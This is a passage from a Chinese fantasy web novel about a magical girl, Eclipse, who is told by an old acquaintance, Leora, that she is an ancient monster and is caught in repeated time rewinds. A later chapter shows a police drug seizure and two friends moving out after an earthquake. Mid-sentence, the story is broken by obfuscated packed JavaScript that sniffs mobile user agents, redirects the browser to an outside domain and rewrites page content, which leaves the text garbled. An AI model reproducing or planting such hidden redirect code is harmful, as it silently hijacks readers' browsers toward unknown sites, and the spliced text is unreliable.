看这些新闻播报的用语多谨慎,可不比当年咱们那时候看的那些,要放到当年,就连每个影子的事情都恨不得被编出个百年的爱恨情仇来。不过这市长还活着也是命大,或者说运气好?我可是很讨厌运气好的人的,从今往后他的运气不会继续好下去喽! 哈哈哈!为什么她们还是打不出这个星星符号,这可是另一位成员的名字啊。不过这样一来反倒是更有艺术的感觉了不是吗?形式主义的行为一直都有可以指出来笑的地方,真是令人安心啊。” 2024年4月29日,星期一,天气下雨。 市政厅宣布启动城市恢复系统,街道上停靠装载黑色垃圾袋的货运车是正常现象,请市民勿要传播不实信息。社交网络疯传地图版“红区警告图”,多地居民表示“不敢拉窗帘”。 城市基础设施办公室调派超过300名工人入驻东流湾港口码头,设立无人运输带系统。因官方频道多处瘫痪,大学生团体与居民社区共同建立应急广播点,播报受灾区、失联者、可用避难所等信息。 本地导演在公共广播节目中发言:“我的剧本已经没意义,监控比编剧更懂观众需求。”同时宣布自己将在西市区城市车站广场播放24小时直播录像作为新片【劫后余生】的第一场首映。 “怎么到处都是这么多人?看记录也没看出这个地方还藏着这么多吧?不过这对我来说倒是个不错的消息就是了,毕竟准备的材料永远是越多越好的嘛!不过现在没人去处理那些素材了,就这样堆得到处都是也是挺讨人厌的。 监控确实更懂需求哦,我就是最大受益人吧!老有人说电线上停着的鸟也是摄像头,这种浪费生物资源的行为谁会做啊? 而且说真的我一直都没理解这些人到底是想做什么,你也是这样吧?” 2024年4月30日,星期二,天气多云。 今天清晨5点,东西市区天桥陆续恢复通行。市长任命“临时协调组织”被正式授权。法案将在应急周期内有效执行,最长不超过60日。 “哦哦,恢复起来很迅速嘛,这件事应该是她做的。明明之前还说着在求职什么的,居然现在就找到新工作了吗?奇怪,我印象里她并不是一个这么有效率的人来着?我还在想着如果她现在躲在角落里哭的话那我得怎么安慰她呢。 不过也没关系,这就是她吧,不如说能看看这样的她也是件新鲜事。不过我果然还是希望她能变回原来的样子呢,我还是得努力一下的。” 2024年5月1日,星期三,天气大风。 西部市区街道上某处坍塌的建筑废墟旁,艾克里普犹豫地看着那个莫名其妙就带着报纸突然坐到自己右边并开始一边看一边大肆谈论自己想法的青年,不知道该不该搭话。 正如新闻中所言的那样,自上周六以来的三天内发生了太多的事情。周六下午的地震更是毫无预警的突发灾难,虽然没有余波,但这三日内所有发生的事情都可以说是为了给周六发生的事情善后,也算是余波未尽了。 近期纸质报并不在西部市区范围内售卖。 这三天内,艾克里普都在处理记事本上记录着的地址,基本上没有在这个这座城市停留过。但偶尔路过时,她能看到自己的同伴在城市中穿梭的身影,无论是消灭魔物也好,救助需要帮助的人也好,她们所做的都是有意义的事。 而看着这样的同伴,艾克里普也有了更多的动力去完成自己的任务。 今日,周二清晨,她难得地停留在了这座城市的街头,歇息并观察周围熟悉又陌生的一切。她看见城市逐渐恢复,地面交通逐渐重新开放,这里的建筑和人恢复生机的速度都比她想象中的要快上不少。 路人行色匆匆,没有人注意到长椅上的看客,除了这位莫名其妙的评论家。 这是一位行动与外表都与“普通”二字相差甚远的青年,她浑身上下唯一普通的部分大概就只有她手上拿的那些报纸了,除此之外,她本身就是一个异常的存在。 她的发丝是鲜艳的红,头顶奇怪的黑色环状不规则发饰,而她的服装,那是比艾克里普所见过的魔法少女装束更要奇异的服装。无数竖条黑纹白布无规律地披挂在她的身上,以黑线概括着的白色宽距一致,全部以她的肩膀手臂顶端作为起点向地面坠去。 尘埃没有粘上白布,风没能吹起她的衣角。 但这样异于常人的服装还未脱离人类行为艺术能概括的范畴,让艾克里普没有离开的原因并非是她的话语或外表,而是她身上的魔力气息。 那是磅礴的,完全没有收敛的,非常纯粹的魔力气息,这样的魔力气息绝不可能来自魔物或者任何魔法道具,这样的魔力气息只可能来自魔法少女。意识到这一点的艾克里普不免有些激动了起来,她们会迎来一个新的同伴吗? 这是一个艾克里普此前从未见过的魔法少女,艾克里普不认识这个孩子,但她能看出她的本性。这是一个纯粹的,对自己的目标抱有绝对的热情和信任的魔法少女,她拥有强大的力量和坚定的自我,那么她必将达成她的目标吧。 陌生的魔法少女从报纸中抬起头,皱眉叹了口气,似乎是对新闻中的那些莫名其妙的花边新闻和事件走向感到不满,她漆黑的瞳孔中突增了些许忧郁,让艾克里普不免有些在意。 既然对方是魔法少女,虽然不知道是从哪里来,又为何来到这座城市的,但找到自己或许是希望得到帮助吧!这样想着的艾克里普没有继续怀疑对方接近自己的动机。 “请问,你是为何而叹气呢?”艾克里普担心地问道。 “为我的朋友,我的梦想,以及我要做的事。”陌生的魔法少女这样说着,语气中却不含任何一丝因为这些事而想要退缩的软弱,“不过我是不可能把我在想的东西全部说出来的啦,还是说这是必然现象?现在有谁要像是每晚睡在我的床铺底部的幻想生物一样讲述我的内心世界了吗?为了防止这个我的床都是没有床底的诶!” 她在说什么呢?艾克里普不免有些疑惑。不过既然对方说出了自己叹气的原因,那就是愿意与她交流,这让艾克里普感到欣喜。 “说起来。”陌生的魔法少女又翻了翻报纸,“这些失踪人员,虽然没人报道具体细节,但其中也包括了那些家族的首领和部分核心成员吧。在这里我们就默认失踪就是死亡如何?阿尔卡纳,是你杀死了她们对吗?” “…什么?”艾克里普愣住了,话题转变的突然,但她明白对方在说什么。 “报告,我没有杀人。”有电子音回答问题,声音来自陌生的魔法少女坐下时被随意靠在一边废墟上的金属铁杖,通体银灰色,靠在建筑垃圾旁也没和垃圾融为一体。 “谁和你说话了?”陌生的魔法少女不满地摆摆手,那条纹随她的动作摆动,如被扔进碎纸机的白纸,“我是在问你,哦对了,你现在是叫艾克里普来着?” 这句话的逻辑是错误的,艾克里普这样判断道,她的名字一直是艾克里普,从未以阿尔卡纳作为名自称过。但前一句话的却是事实,这几天她处理了许多事务,其中不仅有多处化工厂和实验室,也包括那些白夜社旗下的□□家族们。 这些□□多数以家族首领的话语作为行动的指标,而这些首领在之前听令于Evo的CEO的指令,于是只要杀死那些家族首领,那些家族就不再会主动为Evo做事。 那些□□家族首领都只是普通人,没有反抗的余地。 “白夜社的杀人行径最早可以追溯到上世纪中旬,光是我能找到的资料记录中,加上亚贝琉湛的行为,其直接或间接杀死的普通人类数量已接近六位数,这是屠杀行为。”艾克里普郑重地说,她不理解为何眼前的魔法少女会过问这件事。 不如说,为何这位陌生的魔法少女会知道这件事呢?艾克里普感到了其中的不合理,却也没有放弃与她沟通的打算。 听到这些话后,那位陌生的魔法少女看着艾克里普,露出了一个满意的笑容。艾克里普看着那个笑容却觉得毛骨悚然,因为那笑容的出现实在是不合理极了,它没有理由出现在这里,也没有理由出现在一个陌生的魔法少女身上。 “是的,艾克里普。”陌生的魔法少女微笑着,亲昵地呼喊名字询问,“你是因为想守护人类而杀死那些人的吗?” “…这只是我的职责所在。”艾克里普感到了一些不适,那突兀的亲昵并没有让她感到眼前的魔法少女有亲切上多少。 “你的职责所在?你什么时候找到的工作?你的职责是什么?”陌生的魔法少女非常惊讶,她头顶的发饰都因为她的讶异而跳了起来,荒谬而不合理。 “我是这座城市的守护者。”艾克里普毫不犹豫地说,“你又是为何而来到这座城市,又为何问我那些问题呢?我不认识你,但我自认为没有需要对所做之事道歉之处。” “哈哈哈——”那魔法少女得到答案后就笑了起来,像是嘲笑一般,“那算什么?那可不算是工作啊艾克里普,你现在也太天真了吧?” 即使对方是魔法少女,被嘲笑职责的艾克里普也感到了些许不满。但这样的魔法少女也是有的,获得了魔力之后自认为高人一等,不愿意去履行责任而是自顾自使用魔力达成自己的魔法少女也是存在的。 这些魔法少女是无法成为艾克里普的朋友的,但她并不会将她们视作为敌人。 “魔法少女的职责就是这样,若非如此,魔法少女的力量难道要用来伤害人类吗?”艾克里普耐心地劝诫道,“越是强大的存在越是要背负更多的责任,你会在成长中明白的。” “明白什么?”那陌生的魔法少女停住了笑,“力量与责任毫无关联,权利才与责任关联,你才是还未明白的那个啊,艾克里普。啊不过力量作为带来恐惧的工具来说真是好用得不得了啊,无论在现代还是过去。” 说罢,那魔法少女深深地叹了口气,看艾克里普的眼神就像看一个不懂事的孩子。 “你还太年轻,还没能理解这份力量真正的价值,或者说你忘记了?”陌生的魔法少女手中的报纸忽然消失了,“既然如此,那就由我来告诉你,我也是为此而来的。” 废墟旁街道的一角,长椅之上,二人并肩而坐。但在这一瞬间,世间的一切常理都离二人远去了,陌生的魔法少女那双漆黑的瞳孔仿佛宇宙的通道一般,若是被注视着,就能看到一个崭新的,不可思议的世界。 宇宙多无光,本该就是如此深黑的,那其中略微映出红发的一点固定了视线所向。 “艾克里普,魔法少女与人类,并非同类。”陌生的魔法少女从容地,不急不缓地教导说,“其中的差距远比人类与大猩猩更大,即使基因与生物结构无太大区别,甚至器官也可适配移植。但我们拥有不同的认知,思维,语言,沟通,社会,文化,技术,甚至文明。你不该因这具无用的躯体就将自身束缚于这里,不,你也并没有一具人类的身体吧?” 这句话中所蕴含的意义如此明确,对方说起时如同念诵教科书一般理所当然。艾克里普条件反射地想要反驳,但很快她就意识到,对方说的全部都是正确的事实,无可反驳。 “艾克里普,你喜欢这具躯体吗?”陌生的魔法少女真诚地笑着看向艾克里普。 艾克里普所拥有的是一具仅有外表与人类相似的,由魔法构造而成的躯体,无论是从正面,侧面,反面去看,都是无可指摘的完美。这是阿尔卡纳国王赐予艾克里普的,让她得以显现于人世间的身体。 “我当然喜爱这幅躯体!”艾克里普皱着眉,“但只有我是这样的,我的同伴们都是由人类变化而来的魔法少女,绝不可能脱离人类社会生存,你也是这样的吧?” 那陌生的魔法少女再异常,外表也依旧是人类的外表。 “这件事稍后再说。”陌生的魔法少女笑容未变,“但我很惊讶于你思想的转变,你以前可不是这样想的吧?还是说这些话也只是你的形式主义行动?我记得你是很讨厌人类的才对吧?” “…那并非是你能理解的。”艾克里普沉默了片刻,没有回答这个问题,“我不知你为何能说出这样讨厌人类的话来,但你是魔法少女,这个事实不会改变。” 也是因为这个事实,艾克里普没有转身就走或者对眼前的人发怒。 “当然!”陌生的魔法少女笑容欣喜,“所以我才理解你呀?不得不挤在这个人类社会的苦闷,无处可倾诉的孤独,我是理解你的!所以朋友才那么重要,尤其是志同道合的,能完全互相理解互相信任的朋友。” 在这一点上艾克里普没有可以否认的地方,她因这句话中的含义而对眼前的陌生魔法少女产生了一些认同感。但她依然感到疑惑。 “但是,你却变得不再能理解我了,艾克里普。”她的眼中又再次蓄满忧愁,“这对我来说,毫无疑问是失去了一位朋友的事实,这令我感到悲伤。你改变了许多,但没关系,只要你还是你,可能性就一定会出现。不如说这样才对吧,毕竟你已经逐渐开始产生变化了吧?” 这句话中的逻辑艾克里普无从理解,但这位陌生的魔法少女却像是从不需要艾克里普理解她一般,一直自顾自地说了下去。 “这样看来确实是有些像,不过还是不够。到底还要多久你才能变回原来的模样呢?要十五年吗?还是说要上千年呢?幸好我已经做好准备了,总有一天你会变成我的朋友的!”她欣喜,确信地这样说道。 艾克里普看着她,那纯粹,热情,自信的本质如此灿烂,让她根本无从怀疑对方话语中的真实性。无论是她要做的事情也好,她说出的事实也好,全部都是必然成真的。 但艾克里普无法理解她。眼前这位陌生的魔法少女所说所想的都太过于异于常人,即使她本身就不是常人,她是魔法少女。这依旧令艾克里普感到不解。 “艾克里普,你不是这座城市的守护者,魔法少女的职责也并非守护人类。”陌生的魔法少女用她那双蕴含宇宙真理的眼诉说自己深信的真实,“人类生来没有职责,魔法少女也理当没有。但人类存在,理所当然,魔法少女的存在却并非如此。其原因在于魔法的特性本身,魔法使用过程被人类观测就会失去效果,魔力也就毫无意义。与此,魔法少女与人类的关系绝非应该是守护者与被守护者的关系。而职责这种东西总该是有回报才对吧,有人给你发过工资吗?” 她所诉说的是关乎魔法的事实,但往常,这些事实作为限制出现。而此刻,它们出自这位陌生的魔法少女口中,却是为了解释什么。 行人匆匆的街道上,无论是谁都不会相信这句话的真实性的,就像无论是谁都无法在注视着魔法少女时见证魔法诞生一般。而能相信这句话的也只有魔法少女,但艾克里普不愿意相信她,不如说她一直以来所践行的一切都让她做不到去相信这句话。 “我不需要工资,不,我不需要人类的回报。”艾克里普皱眉反驳说,“人类无法回报我,我的奖赏将由阿尔卡纳国王殿下赐予。你是由人类变化而来的,所以无法摆脱那些理论吧。” 陌生的魔法少女不再微笑,转而以一种悲伤的,怜悯的神情注视着艾克里普。 “我都要哭了。”她说,“这些是谁告诉你的?” “…是阿尔卡纳国王,你无法见到殿下的。”艾克里普并不指望对方能理解自己所说的话,叹了口气,“我并非是与你相同的魔法少女,我拥有我自己的使命。你不需要理解我,但也请你不要继续质疑我的行为了。” 就像她一直以来践行的那样,艾克里普知道她的同伴或许是没有办法理解她,并一直陪她走下去的,但她也从未强求过这些。 “你又叹气了,因为你觉得我无法理解你?”陌生的魔法少女也叹了口气,“恰恰相反,艾克里普,你我相识早在一切发生之前,我理解你,甚至超过你理解你自己。” 城市内街道上的风不知何时停了下来,行人也逐渐消失,仿佛有只手正为即将到来的演出清理舞台上的杂物,日光照射之下,废墟旁的长椅之上,演出人员两位,并肩而坐,对视。 演出人员中的一位是新人演员,她初次造访这座城市,突兀而冒昧地插入了故事中,若是没有一个合理的情节设定的话,她一定会被人讨厌的吧?而她的对面是这座城市的老牌演出人员了,那是沉默无声的守护者,是需要尊敬的前辈。 “你想说什么?”艾克里普产生了非常坏的预感,对方或许要说出一些她不愿意听的话来了。这种预感与面对强敌的预感不同,让她无从准备。 这里或许是可以离开的吧,她想,却找不出一个合理离开的理由。 “不是我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808013|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么,而是事实如此,我又不是什么用来推进故事发展的角色,我有自己要做的事情。”陌生的魔法少女说,“而我现在与你谈话,是因为这也是我需要做的事情之一。” 所有存在都准备好了。 “艾克里普与阿尔卡纳,都是属于你的名字,阿尔卡纳王国这种童话故事设定并不存在,国王并不存在,你说的禁令并不存在,职责并不存在使命并不存在奖赏也全部不存在!”陌生的魔法少女站起,双臂高举,黑色竖条纹迎向天空,仿佛在吸引谁的注意力,她的笑容那样灿烂,眼中所蕴含的光辉又是如此耀眼。 无人可以否定她的表演,因为观众也并不存在。 另一位演员没有接戏,她愣在了原地,就像是灵魂短暂离开了身体,或许是思考如何对戏需要时间吧。她一贯如此,经常动不动就因为需要思考接下来的演出而陷入长时间的停滞状态,往常会有幕布体贴落下,但现在,另一位演员还在等着她呢。 说些什么,艾克里普,说些什么。将对方的论点全部反驳吧,即使对方是魔法少女,即使对方绝不可能在说谎,你有自己的立场,有可以立于绝对不败之地的底牌! “你,根本没有证据。”艾克里普站起身,她没有因为思绪的混乱而摇晃身体,相反,她非常冷静,冷静到了近乎是把语言系统单独从身体中拿出来了的程度,“你不可能否定那些存在,你做不到,你无法做到!” 没错,就是如此,谁能去往阿尔卡纳国度面见国王呢?艾克里普自己都去不了,那个没有你我之分,一切都坦诚相见正常以待的梦幻国度,谁能否定它的存在呢? “我可以。”陌生的魔法少女临危受命,双臂张开表达荣幸,“我可以做到,没错,只有我可以。” 她抬起右手,掌心朝上,所有手指指向艾克里普-阿尔卡纳,像在邀请,像在介绍。 “因为我知道,你并不是魔法少女,而是魔物。”魔法少女微笑着说。 艾克里普陷入了思考之中,魔法少女没有理会她的思考,旋转着那条纹衣裙围绕着艾克里普跳起了只有单人的双人舞。白色布条旋转纷飞,但没有行人瞩目。 “你是魔物,是自古存活至今的大魔物。”魔法少女激动地说。 “…这不可能。”艾克里普从思考中缓过神,“我有理智,有感情,可以思考。” “因为你吞吃人类,成千上万。”魔法少女昂扬地说。 “我根本没有做过这样的事!”艾克里普惊怒反驳。 “你忘记了。”魔法少女庄重地说。 “我不可能忘记!我不会忘记任何东西!”艾克里普反驳。 “你忘记了,并非主动遗忘,而是因为魔法。”魔法少女欣喜地说。 “…什么?”艾克里普迟缓地质疑。 “是时间魔法,艾克里普和阿尔卡纳,你倒流了时间,你忘却了一切。”魔法少女单手抬起,望向天空,“你从残存的什么中构建自己的存在,于是,艾克里普诞生于世。” 这是太过不合理的一句话,艾克里普自己否认过这件事的可能性,如今它却又再次出现。 “64年日与夜,消耗了你几千年来积攒的魔力,你本该死去,但艾克里普出生,你便也活了下去,这是奇迹。”魔法少女旋转着,为这句话陶醉,“当然,你没有相信的理由,不如说,若是我不说出这些话,你就可以作为艾克里普与那些孩子玩一辈子的过家家吧。” “…你是谁?”艾克里普问道,她意识到这句话问得太晚了。 “好久不见,艾克里普以及阿尔卡纳,我是利奥拉,你的老朋友。”利奥拉双手抚摸胸口,又夸张地展开,白布条翩然扬起,如有生命,她自我介绍道,“我从地狱爬出来了!为了魔法少女的文明,为了再续我的友谊。” 利奥拉走上前,贴近艾克里普,抚摸她的脸颊,摘下了她的那副用以遮掩自己容貌的眼镜,并顺了顺她的头发。 “看来你准备好了。”利奥拉笑着说。 “你要做什么?”艾克里普问,没有镜片隔绝的世界如此清晰,她感到陌生。 “使用时间倒流魔法,艾克里普,我要回到过去,建立属于魔法少女的文明。”利奥拉宽和地介绍自己的梦想,“魔法少女与魔物不该是敌人的,我们需要魔物来提升射线的热量,来扩大魔法的影响效能。但从现在开始就有些太迟了,我们要回到过去,重新开始。” 这在艾克里普看来简直是无稽之谈,但她没有反驳,因为她还在思考之前的问题。但眼下,有一件事是能迅速地被提出的。 “你做不到。”艾克里普说,她现在只能说出这种可以被直接找到答案的回答了。 时间倒流魔法是特殊形式的复合魔法,完整施展需要杀死影响范围内所有存在被设定的一段时间,并给予其完整的复原。这其中需要的魔力是天文数字,而且,时间倒流魔法人类根本就无从理解学习,人类在时间上是一直往前的动物,若要回到过去就只能靠回忆。 “做得到哦!”利奥拉得意地说,“一开始的那些初识资源确实攒起来很慢,但后来就很快了。你想啊,如果用杀死的生物所转化而来的魔力去恢复她们的话,那不就正合理吗?但每次恢复你们几个总是要额外花费一些力气呢,这件事的前因果然还是需要再跟进一下吧。” 说得好听,但这到底该如何做到?艾克里普这样想着,却忽然从思维图上发现,这确实可以做到,这样不可思议的公式所必要的条件在几百年前就已经出现在这个星球上了。 “虽然说发展后是那样花里胡哨的东西,但阿贝尔家族侍奉的魔法道具本质上是用来‘等价交换’的魔法道具呢。以血肉交换魔力,以魔力交换世界,何等博爱平等啊。”利奥拉拍了拍自己胃部外层的衣物,线条涌动,“好啦,你也理解了吧?这个魔法还是你教我的哦,在教导魔法使用这方面你总是做的很好呢。” “我没有做过那种事情!”艾克里普的思绪一片混乱,她不知道自己该想什么,该回答什么,该做什么了,“我不可能这样做,我不可能是。你是谁?你为什么要这样做?你说的是什么?合理是什么?那又是什么?” “我已经做到了。”利奥拉没有回答所有的问题,“第一次回溯已经成功了,昨天,我找你说了这些东西,你的反应和现在差不多哦?一副过载的样子,不如放弃思考如何?将一切交给我的话我也会很开心的哦,被同伴信任的感觉真的不错。” 哦,她已经成功了,艾克里普意识到了这件事。随即意识到,若是对方说的是真的,那么她的这些思考就全都没有意义,毕竟时间回溯过后她什么都不记得。或许明天的她也是这样,想了一堆理由后到头来什么都不记得吧。 但是这样的话,艾克里普看向欣喜微笑着的利奥拉,心中想着,她又是怎么做到能记住那些东西的呢? “准备好了吗?那么这次的谈话就到此为止吧,不过每次都这样说一次也怪麻烦的,还是得想个更有效率的方程啊。”利奥拉微笑着看向艾克里普,并透过她看向更遥远的地方,“那么,不要阻止我。” 随即,她再次抬起右手,掌心朝上,那些黑色线条随着她的动作游动,仿若液体。 有风涌动,周围行人没有谁去理会,毕竟刮风不过是寻常现象,与时间流逝一般理所当然。只是这种程度的风的话,哪怕是伸手去整理头发也是一种浪费体力的行为。 偶尔会有人产生对某事某物似曾相识的感觉吧,从而怀疑时间是否发生过错乱。有许多研究解释了这一现象到底为何,有人相信,有人固执己见。 但无论如何,时间都会向前走的,哪怕是回溯过后也不例外。 人类无法倒流时间,就也无法感受到时间回溯时的感觉,似曾相识不过是一瞬的错乱,但回溯则是直线上的退回。 艾克里普看看,在利奥拉抬起手的一瞬间,她的身后远方有什么在涌动着,不可阻挡地朝她的方向袭来,那是本该向前的时间洪流,它向前时所有人都顺着它走,难以在分秒间理解它的破坏力,可此刻那洪流倒转,也没有人能阻挡。 那是虚黑的巨浪,是有目者闭上双眼时从视网膜捕获的唯一可视目标,盲人亦然。于是如果说盲人看到那片巨浪,定会惊异自己多年的眼罩居然还有变大并出现在现实中的一天。可惜盲人看不见,所以没有人开口表达惊讶。 艾克里普是能够阻挡的,可她已经在谈话间失去了去阻挡它的理由和立场。 于是洪流倾斜,大洪水降临,不会有四十昼夜的雨,昨日醒来后一切就会被遗忘,但随即,新的大洪水又会到来,直到利奥拉对所剩的时间感到满意。 随即,新的文明会被她建起,那会是真正美好的,属于魔法少女的文明。没有人能质疑利奥拉的真心与力量。艾克里普不能,也不会去这样做,她没有这样做的理由。 “昨天见,我会去找你的!”利奥拉抱着那根金属棍,期待地笑着说。 81.Day3-上 2024年4月30日,星期二,天气多云。 白夜社多位首领接连被杀,西部市区短时间内强震,罢工游行混合武装人员导致的大规模混乱。哪一件事产生的后果最大?在余波结束之前没有谁可以下结论,记录还在持续,事情还在发酵,每个人都还在自己该在的位置上。 今日多云,风速尚可,空气干燥,适合烧一些东西,比如说祭奠逝去之人的香火。 “比如这15公斤能把人毒成人形自走炸弹的粉末。”花野真纪如是说。 自从上周六,启明星将大货所在的位置告知花野真纪后,她就带着西部市区警察局赶回来的专案组及顾问特批特警对常年以来一直悄悄调查的多个城市中的贩毒团伙开始执行搜查令。调查最早可追溯到她还未上任刑警队队长的时期,但收网的命令下达只需要一瞬间。 三日内,加上东流港不定期停留的货船上找到的,调查人员共收缴各类毒品共15公斤,其中占比最大的是来自天不渡家族旗下化工厂生产的使人异化的不明化学物质。 曾经这样的搜查令近乎是不可能被执行的,但现在它得到了许可,主要原因是天不渡家族家主及近乎所有的干部都下落不明三天有余,无任何迹象表明对方对这一系列收缴行动有所不满,那么就是没有不满。 另一方面在于,该行动得到了多方面的协助,多到让花野真纪觉得自己的上头,也就是那位西部市区市警察局局长被洗脑了。于是趁着洗脑还没被解除,她这几天几乎没怎么睡过觉,起早贪黑地执行公务,并时刻洗脑自己热爱工作。 三天只是一个起始点,收获确实大,但远不是全部。这次搜查不知何时会被制止,但如果没有谁来制止,那这次搜查的时期将会是未来永久。 “你又在上班时间喝酒了?”电话的另一头,一个略微有些疲倦的声音说道。 “没,这几天都没,多得是人盯着我呢。”花野真纪龇牙咧嘴地笑了,“但不代表我要戒酒哦。” “往好处想,坐在这个位置喝酒已经算是一种颇为无害的消遣了。”电话另一头的声音说。 “…我以前一直觉得自己不该坐在这个位置上。”花野真纪看着海浪涛涛,思绪并没有因为白噪音就放松多少,“但是现在,我觉得这个位置是我在坐实在是再好不过了。” “获奖感言吗?”电话另一头的声音笑了笑,“那恭喜你了。” 花野真纪还想说些什么,不远处,她的同事在招手喊她过去,于是她只得匆匆再交代了几句就挂断了电话,踩着吱呀作响的甲板跳下船,小跑向自己的下一份工作。 另一边,西部市区刚恢复电力供应的区域附近的一处临时工作室内,启明星拿着通话结束的手提电话,一时并没有放下。她垂眼看着电话线,过了许久还是没有拨打另一个号码,先将电话放下了。 花野真纪是她的线人之一,她作为侦探时也是花野真纪的线人之一,她们是朋友也是合作伙伴,这两个关系无法在同一时间内共存。于是有些消息启明星无法全部告诉花野真纪,即使她认为对方实际上是有知情权的。 苍伊纱在今日清晨被确认失去踪迹,这是个暧昧的说法,但随着接连好几位坐在相似位置上的存在以相同的方式失踪后,启明星现在可以断定,这些人不会再出现了。这件事的消息来源是她的其它线人,或许知道的人并不少,但能下定这个论证的人估计就只有她一个。 因为启明星大概知道做这件事的人是谁,并且不认为有谁能阻止这个人。 西部市区多个投资者预备撤资,城市交通还需要建筑队恢复,搜查令还未全部执行完毕,救援物资还未运输到位,新城市监控系统还未全面普及,所有人必须待在其该在的位置上,做好自己的事情。启明星自己也亦然如此,她会有时间整理自己的思绪和感情问题的,在不知何时的未来,在一切都结束之后。 而现在,最需要处理的事情在于,此次城市灾害中的受害者尸体的处理问题。在收到了停尸间供不应求的报告之后启明星才对城市医院的构造有所了解,验尸人员储备不提,那过于狭小的停尸间与市警察局附属医院的法医解剖室停尸间容量差不多大。 调查之下才得知,往常这方面的管理人员是犬山家族与北野家族联合管理的“特殊垃圾回收队”,如今这方面的真正需求者不再能开口,街道上无家可归无人去管的死者们一时之间也没了个体面的居所。 但这件事也让启明星感到蹊跷,并猜测往常那些尸体的去处大概率并不是火葬场,而是她推测的,这座城市中的另一片血湖。但事到如今调查这件事似乎已经没有意义了,她早已不是侦探,同时她需要做的是解决这件事。 启明星再次拿起了电话,拨通了电话簿上的一个号码,目标是天生目清源,她需要得到这位曾作为天生目家族议事堂成员的帮助。她是在天生目池元失踪的现在,在天生目家族,甚至一片混乱中的白夜社依旧有发言权的存在。 白夜社的倾塌只是时间问题了,但比起看着残余的势力在内部消耗中消失殆尽,启明星更希望能回收再利用一下。 想到这里,她顺手摸出私人手机给犬山晓发了个报平安的消息,她这位对日常生活非常执着的朋友这几日因城市灾害而心事重重,时常担心她为数不多的朋友遭遇不测。 “今日一切安好,勿念。”启明星单手打字,想了想,顺便把今日早晨起床时发现的一个略微异常的现象告知了对方,“我的右眼视力恢复正常了,原因未知。” 电话接通,启明星收起手机。 “右眼视力恢复正常是好事,但原因未知是坏事吧。”犬山晓颇为担心地念着,叹了口气。 “确实,原因未知时以最坏的情况去推测总没错,你的脑子最近变得好用了不少啊小犬山。”克拉拉扶着行李箱喘气,“但我是不会夸奖你能一边扛行李箱下楼一边看手机的。” 周六下午地震并没有波及到克拉拉和她那材质异常结实的实验室,但她的公寓楼水电设备没能幸免于难,她的公寓在大楼最顶层,也就是第15层。 水电不知何时能修复,但冰箱里的东西必须清理,同时她也有不得不从公寓中带出来的东西,连带着证明自己并不是真的住在实验室里。克拉拉决定找犬山晓帮忙。 于是犬山晓在结识克拉拉十余年后,终于知道了她住的地方长什么样。虽然是克拉拉在她让她等在门外二十分钟的时间内紧急收拾过的公寓空间,犬山晓进入其中后依旧找不到一个放脚的地方。那被用途不明的器械和实验用具,加上遍地都是的报告文书堆满的空间是字面意思上的无从下脚。 即使是这样,克拉拉还是给犬山晓翻出了一双拖鞋。 “全部交给我来搬不就行了?”犬山晓担心地看向克拉拉的腰椎,“这些东西对你来说还挺重的吧,而且你上来的时候就快气绝了,带着重物下楼对你的膝盖来说很危险的。” “…什么叫气绝啊?”克拉拉面目狰狞地反驳,“我姑且也是有在健身的,区区15层楼不过是热身有氧的程度而已,别真把我当作中年人看!” 话都说到这个份上了犬山晓也不知道该怎么继续劝说,只好看着点对方。 紧急通道内偶尔也有其它楼层的住户路过,每一个看着这对搬家组合的人都会对克拉拉投去隐约谴责的视线。银色金属行李箱内的物品大多是电子器械,无论是重量还是体型都不小,全数加起来共有三个30寸的行李箱才装完,犬山晓搬一手一个,克拉拉自己扛一个。 在下了8层楼之后,克拉拉主张中场休息。 “你之后住哪?”犬山晓靠在墙上问。 “附近的酒店也都停业了,这下我说不定真的得像没房子住的博士生一样住实验室。”克拉拉坐在楼梯上休息,楼梯间的应急灯亮着微光,提供了最基础的指路照明。 “就近的话,你要住我宿舍客厅吗?”犬山晓问道。 地震波及了整个西部市区周围,但并没有波及日之森地区,即使如此学校还是决定停课,并推迟期中考的时间。 “哪有监护人住被监护人屋子里的道理?”克拉拉非常接受不能,“而且住客厅的话不就和那种穷苦本科生一样了吗?我怎会沦落至此?” 这话说的悲怆,但犬山晓想了想,就她对于克拉拉的理解来说,对方说出这种没有明确拒绝的话,大概是需要一个理由让她自己接受。 “可是附近哪里都不太安全,你住在外面我担心你突然死了。”犬山晓皱眉说,“你住我宿舍客厅的话我还能送你去实验室,我最近停课,而且宿舍也有停车场。你要睡我卧室也行,我最近因为这些事基本不回去,水电恢复了你就走就行。” “…你说话真的一如既往的不中听啊。”克拉拉扶了扶眼镜,“既然你都说这么多了那我也只好接受了。” “那行。”犬山晓点了点头,“我们老找你帮忙,能这样帮上你我也挺开心的。” 克拉拉没说话,又扶了扶眼镜。 说起这件事,犬山晓又想起了艾克里普,她和大家说了这段时间会去远方处理Evo与白夜社相关的剩余事务,没说细节,也没说什么时候回来。虽然她的实力不需要犬山晓担心安全问题,但是担心的情绪她总归是充沛的。 客厅的窗每晚都开着,但犬山晓一直没有发现过有人停留的痕迹。她知道自己如果真的想说什么,那比起这样等还不如打个电话。但问题就是,她觉得自己如果真的打了电话,那反而就没什么事情可以说了。 所以就等吧,犬山晓心想,她相信艾克里普。 二人将东西搬到停车场,犬山晓把行李箱塞进轿车的后备箱和后排座位,在保证后视镜的视野清晰后,她坐到了副驾驶的座位上系好安全带。克拉拉调节了一下座位,启动了车辆。 地下车库也停电了,不过车库门有单独的电源确保车辆进出,犬山晓看着车窗外的景象,无论如何街上的人都在朝自己的目的地前进,没什么能阻止她们,灾难也不行。 看到人群,犬山晓的心情好了些。 “你这个身高坐副驾驶我都怕有交警来查。”克拉拉说着转动方向盘,车辆以一个稳定的速度前进,“先去一趟实验室,我拿个东西。” “拿实验室的东西放我宿舍吗?”犬山晓有些疑惑,“卫生条件上来说就不合格吧。” “你说的到底是我要拿的东西还是你的宿舍?”克拉拉质疑道,“我自有考量,不是那种会让舔过的小动物变异的金属块。” “好吧。”犬山晓也没再说什么了。 